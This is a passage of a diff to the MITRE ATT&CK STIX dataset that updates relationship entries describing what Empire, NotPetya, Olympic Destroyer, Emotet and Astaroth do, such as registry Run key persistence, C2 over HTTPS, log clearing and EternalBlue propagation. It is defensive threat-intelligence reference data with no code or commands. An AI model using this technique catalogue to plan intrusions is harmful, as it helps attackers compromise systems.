"https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can ZIP directories on the target system.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--32fc949c-2127-425b-9480-6d07ead49982", "type": "relationship", - "modified": "2020-03-30T02:08:27.245Z", + "modified": "2021-04-09T14:46:59.583Z", "created": "2019-03-11T19:24:08.170Z" }, { @@ -129582,16 +130963,16 @@ "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to collect emails on a target system.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--9c98640e-0307-48bb-aafc-af14a774fd5b", "type": "relationship", - "modified": "2020-03-17T16:21:54.142Z", + "modified": "2021-04-09T14:46:59.546Z", "created": "2019-03-11T19:24:08.172Z" }, { @@ -129603,16 +130984,16 @@ "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can timestomp any files or payloads placed on a target machine to help them blend in.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--f082a4e1-b454-4528-9470-a2799215b235", "type": "relationship", - "modified": "2019-06-24T17:15:44.882Z", + "modified": "2021-04-09T14:46:59.580Z", "created": "2019-03-11T19:24:08.175Z" }, { @@ -129624,16 +131005,16 @@ "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can modify the registry run keys HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--6cc7fc62-740a-47c4-988c-bdd9c5880c3f", "type": "relationship", - "modified": "2019-06-24T17:15:44.858Z", + "modified": "2021-04-09T14:46:59.572Z", "created": "2019-03-11T19:24:08.178Z" }, { @@ -129645,16 +131026,16 @@ "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--58b7b9bf-d09b-49f4-acf5-351979171317", "type": "relationship", - "modified": "2020-03-18T19:53:37.984Z", + "modified": "2021-04-09T14:46:59.895Z", "created": "2019-03-11T19:24:08.180Z" }, { @@ -129666,16 +131047,16 @@ "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over protocols like HTTP and HTTPS.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--9983965f-91b7-492b-9764-ad801af4476a", "type": "relationship", - "modified": "2020-03-17T01:07:13.615Z", + "modified": "2021-04-09T14:46:59.910Z", "created": "2019-03-11T20:01:20.229Z" }, { @@ -129687,16 +131068,16 @@ "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over commonly used ports like 80 and 443.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--3acdd039-5ea8-44e5-ba70-e00eece83432", "type": "relationship", - "modified": "2019-06-24T17:15:44.870Z", + "modified": "2021-04-09T14:46:59.943Z", "created": "2019-03-11T20:01:20.248Z" }, { @@ -129708,16 +131089,16 @@ "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox for data exfiltration.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--98ec1cf2-91ed-4a5f-b653-1d60259d0b46", "type": "relationship", - "modified": "2020-03-11T17:30:32.321Z", + "modified": "2021-04-09T14:46:59.936Z", "created": "2019-03-11T20:01:20.251Z" }, { @@ -129729,16 +131110,16 @@ "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can send data gathered from a target through the command and control channel.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--39d1a7ed-2388-4611-9886-915a3604c300", "type": "relationship", - "modified": "2019-06-24T17:15:45.382Z", + "modified": "2021-04-09T14:47:00.127Z", "created": "2019-03-11T20:01:20.272Z" }, { @@ -129750,16 +131131,16 @@ "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can find shared drives on the local system.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--6fa815b2-23dc-455f-b358-dacb4e30a073", "type": "relationship", - "modified": "2019-06-24T17:15:45.406Z", + "modified": "2021-04-09T14:46:59.891Z", "created": "2019-03-11T20:01:20.295Z" }, { @@ -129771,16 +131152,16 @@ "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can find information about processes running on local and remote systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--ee565652-51c8-4fe8-bb05-682c6942485a", "type": "relationship", - "modified": "2019-06-24T17:15:45.385Z", + "modified": "2021-04-09T14:46:59.893Z", "created": "2019-03-11T20:01:20.298Z" }, { @@ -129792,16 +131173,16 @@ "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate the current network connections of a host.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--c45974f5-90b7-4b5b-8123-9961df8ea26d", "type": "relationship", - "modified": "2019-06-24T17:15:45.398Z", + "modified": "2021-04-09T14:46:59.905Z", "created": "2019-03-11T20:01:20.327Z" }, { @@ -129813,16 +131194,16 @@ "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire network configuration information like DNS servers and network proxies used by a host.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--07db5f41-fc53-47e6-ae7b-755a4acc9e62", "type": "relationship", - "modified": "2019-06-24T17:15:45.402Z", + "modified": "2021-04-09T14:47:00.125Z", "created": "2019-03-11T20:01:20.330Z" }, { @@ -129834,16 +131215,16 @@ "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate host system information like OS, architecture, applied patches, and more.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--3c766e53-1372-4b94-b7de-b3f70d4d1a91", "type": "relationship", - "modified": "2019-06-24T17:15:45.395Z", + "modified": "2021-04-09T14:46:59.923Z", "created": "2019-03-11T20:01:20.336Z" }, { @@ -129855,16 +131236,16 @@ "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate antivirus software on the target.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--b9b28368-527c-4b13-9350-b2cda637e711", "type": "relationship", - "modified": "2019-06-24T17:15:45.391Z", + "modified": "2021-04-09T14:46:59.900Z", "created": "2019-03-11T20:01:20.374Z" }, { @@ -129876,16 +131257,16 @@ "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use TLS to encrypt its C2 channel.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--e26cfb89-f796-4ba1-bf5c-4084b6479762", "type": "relationship", - "modified": "2020-03-20T23:42:26.525Z", + "modified": "2021-04-09T14:46:59.903Z", "created": "2019-03-12T14:14:22.055Z" }, { @@ -129897,16 +131278,16 @@ "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can upload and download to and from a victim machine.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--efd94521-6d23-4947-a257-1c81ac52f0d9", "type": "relationship", - "modified": "2019-06-24T17:15:45.626Z", + "modified": "2021-04-09T14:46:59.945Z", "created": "2019-03-12T14:14:22.071Z" }, { @@ -129962,14 +131343,14 @@ "id": "relationship--89b157e1-3972-421e-87c9-f9e83b26ec90", "external_references": [ { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "(Citation: NCSC Joint Report Public Tools)", "type": "relationship", - "modified": "2019-04-25T11:39:52.303Z", + "modified": "2021-01-25T15:43:46.054Z", "created": "2019-03-12T16:19:09.902Z" }, { @@ -130012,11 +131393,16 @@ "source_name": "ESET Turla August 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf", "description": "ESET. (2018, August). Turla Outlook Backdoor: Analysis of an unusual Turla backdoor. Retrieved March 11, 2019." + }, + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." } ], - "description": "(Citation: ESET Turla August 2018)", + "description": "(Citation: ESET Turla August 2018)(Citation: ESET Crutch December 2020)", "type": "relationship", - "modified": "2019-07-14T21:04:45.853Z", + "modified": "2020-12-07T21:18:04.668Z", "created": "2019-03-12T16:20:54.316Z" }, { @@ -130091,16 +131477,16 @@ "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains a variety of enumeration modules that have an option to use API calls to carry out tasks.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--8362d7e2-c22a-4bde-99dd-b2d66b4c775a", "type": "relationship", - "modified": "2019-06-24T17:15:45.620Z", + "modified": "2021-04-09T14:46:59.908Z", "created": "2019-03-13T14:38:31.325Z" }, { @@ -130112,16 +131498,16 @@ "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to obfuscate commands using Invoke-Obfuscation.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--16e0be5b-93bb-4db2-b6ed-02e34a6ce3cb", "type": "relationship", - "modified": "2019-06-24T17:15:45.632Z", + "modified": "2021-04-09T14:47:00.140Z", "created": "2019-03-13T14:38:31.345Z" }, { @@ -130130,19 +131516,19 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", - "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use New-GPOImmediateTask to modify a GPO that will install and execute a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053).(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--39266465-987d-46f6-8680-4149a5bfea50", "type": "relationship", - "modified": "2019-06-24T17:15:45.630Z", + "modified": "2021-04-09T14:47:00.123Z", "created": "2019-03-13T14:45:00.237Z" }, { @@ -130176,7 +131562,7 @@ "relationship_type": "mitigates", "id": "relationship--37516ada-befd-4e52-8f18-c56db974ea54", "type": "relationship", - "modified": "2020-03-27T21:08:19.944Z", + "modified": "2021-03-25T14:47:48.978Z", "created": "2019-03-14T20:17:16.297Z" }, { @@ -130230,7 +131616,7 @@ "relationship_type": "mitigates", "id": "relationship--f9157f58-5dae-48ed-b6fb-73d8aa432626", "type": "relationship", - "modified": "2020-10-14T14:52:11.948Z", + "modified": "2021-04-20T16:39:06.774Z", "created": "2019-03-15T14:49:54.404Z" }, { @@ -130744,16 +132130,21 @@ "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "external_references": [ { - "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "source_name": "Talos Olympic Destroyer 2018" + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares.(Citation: Talos Olympic Destroyer 2018) ", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ", "relationship_type": "uses", "id": "relationship--7767d727-fba8-4b7a-b7fe-137ed9261680", "type": "relationship", - "modified": "2019-06-30T23:07:54.108Z", + "modified": "2020-11-30T18:05:52.792Z", "created": "2019-03-25T15:05:23.734Z" }, { @@ -131296,16 +132687,21 @@ "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "external_references": [ { - "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", - "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019." + "source_name": "Talos Nyetya June 2017" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[NotPetya](https://attack.mitre.org/software/S0368) uses wevtutil to clear the Windows event logs.(Citation: Talos Nyetya June 2017)", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) uses wevtutil to clear the Windows event logs.(Citation: Talos Nyetya June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--12c24e26-9415-45ef-b844-2bea03ee709e", "type": "relationship", - "modified": "2020-02-18T03:49:17.810Z", + "modified": "2020-11-30T17:38:41.002Z", "created": "2019-03-26T16:19:52.372Z" }, { @@ -131338,21 +132734,26 @@ "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "external_references": [ { - "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", - "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019." + "source_name": "Talos Nyetya June 2017" }, { - "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT NotPetya 2017", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", - "source_name": "US-CERT NotPetya 2017" + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--aac8f64e-54d1-4aad-80ee-dd3cd887f30e", "type": "relationship", - "modified": "2019-04-24T20:02:45.155Z", + "modified": "2020-11-30T17:38:41.070Z", "created": "2019-03-26T16:19:52.411Z" }, { @@ -131375,7 +132776,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -131383,7 +132784,7 @@ "relationship_type": "uses", "id": "relationship--7cfb528c-6c2d-4f67-b59e-c343678db839", "type": "relationship", - "modified": "2020-03-19T23:39:44.017Z", + "modified": "2021-01-25T15:43:46.051Z", "created": "2019-03-26T16:19:52.425Z" }, { @@ -131504,21 +132905,26 @@ "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "external_references": [ { - "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", - "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019." + "source_name": "Talos Nyetya June 2017" }, { - "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT NotPetya 2017", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", - "source_name": "US-CERT NotPetya 2017" + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--771b78fb-4ed1-4c55-b5e8-31775eb60ad2", "type": "relationship", - "modified": "2019-04-24T20:02:45.278Z", + "modified": "2020-11-30T17:38:42.272Z", "created": "2019-03-26T16:19:52.469Z" }, { @@ -131527,7 +132933,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", - "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "external_references": [ { "source_name": "Talos Nyetya June 2017", @@ -131539,7 +132945,7 @@ "relationship_type": "uses", "id": "relationship--ab372993-3d63-4ca3-a064-e4b5820d8970", "type": "relationship", - "modified": "2020-03-18T15:23:29.816Z", + "modified": "2021-04-22T00:32:59.963Z", "created": "2019-03-26T16:37:29.044Z" }, { @@ -131742,11 +133148,11 @@ "source_name": "Red Canary Emotet Feb 2019" } ], - "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like ETERNALBLUE (MS17-010) to achieve lateral movement and propagation. (Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Red Canary Emotet Feb 2019) ", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation. (Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Red Canary Emotet Feb 2019) ", "relationship_type": "uses", "id": "relationship--6cb2f741-eedb-4b1d-8d84-7823f0095d44", "type": "relationship", - "modified": "2019-10-25T15:23:10.820Z", + "modified": "2020-11-24T20:15:55.399Z", "created": "2019-03-26T17:48:52.214Z" }, { @@ -133975,11 +135381,11 @@ "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019." } ], - "description": "[Astaroth](https://attack.mitre.org/software/S0373) searches for different processes on the system. (Citation: Cybereason Astaroth Feb 2019)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) searches for different processes on the system.(Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "id": "relationship--366bf114-ddd3-473a-9468-c82811c6ed70", "type": "relationship", - "modified": "2019-09-09T19:23:37.006Z", + "modified": "2020-11-09T16:36:23.571Z", "created": "2019-04-17T13:46:38.688Z" }, { @@ -134012,16 +135418,21 @@ "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "external_references": [ { - "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019." + "source_name": "Cybereason Astaroth Feb 2019" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." } ], - "description": "[Astaroth](https://attack.mitre.org/software/S0373) obfuscates its JScript code.(Citation: Cybereason Astaroth Feb 2019)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) obfuscates its JScript code, and has used an XOR-based algorithm to encrypt payloads twice with different keys.(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "id": 